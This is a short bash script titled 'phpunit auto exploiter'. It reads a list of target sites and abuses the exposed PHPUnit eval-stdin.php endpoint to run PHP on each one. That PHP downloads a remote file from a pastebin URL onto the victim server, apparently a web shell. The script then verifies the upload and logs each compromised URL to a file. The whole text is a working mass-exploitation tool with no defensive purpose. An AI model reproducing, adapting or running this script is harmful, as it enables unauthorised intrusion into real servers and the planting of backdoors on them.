phpunit auto exploiter

#!/bin/bash
cekrce() {
    target=$1
    echo -ne "---";

    upload=$(curl -s --data "<?php system('wget https://pastebin.com/raw/KUDbhDy2 -O 098811223.php');?>" -X GET "${target}/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" | head -1)
    cekshell=$(curl -s "${target}/vendor/phpunit/phpunit/src/Util/PHP/098811223.php");
    if [[ $cekshell =~ 'ganteng' ]]; then
    echo "Upload Done"
    echo "$result" >> 0x.txt
    echo "$target/vendor/phpunit/phpunit/src/Util/PHP/098811223.php" | tee -a 0x.txt
    echo "=====================================\n" >> 0x.txt
    else
    echo "Can't Upload"
    fi
    }

for s in $(cat $1); do
    echo "CHECKING $s"
    echo -ne "----";
    cekrce $s
done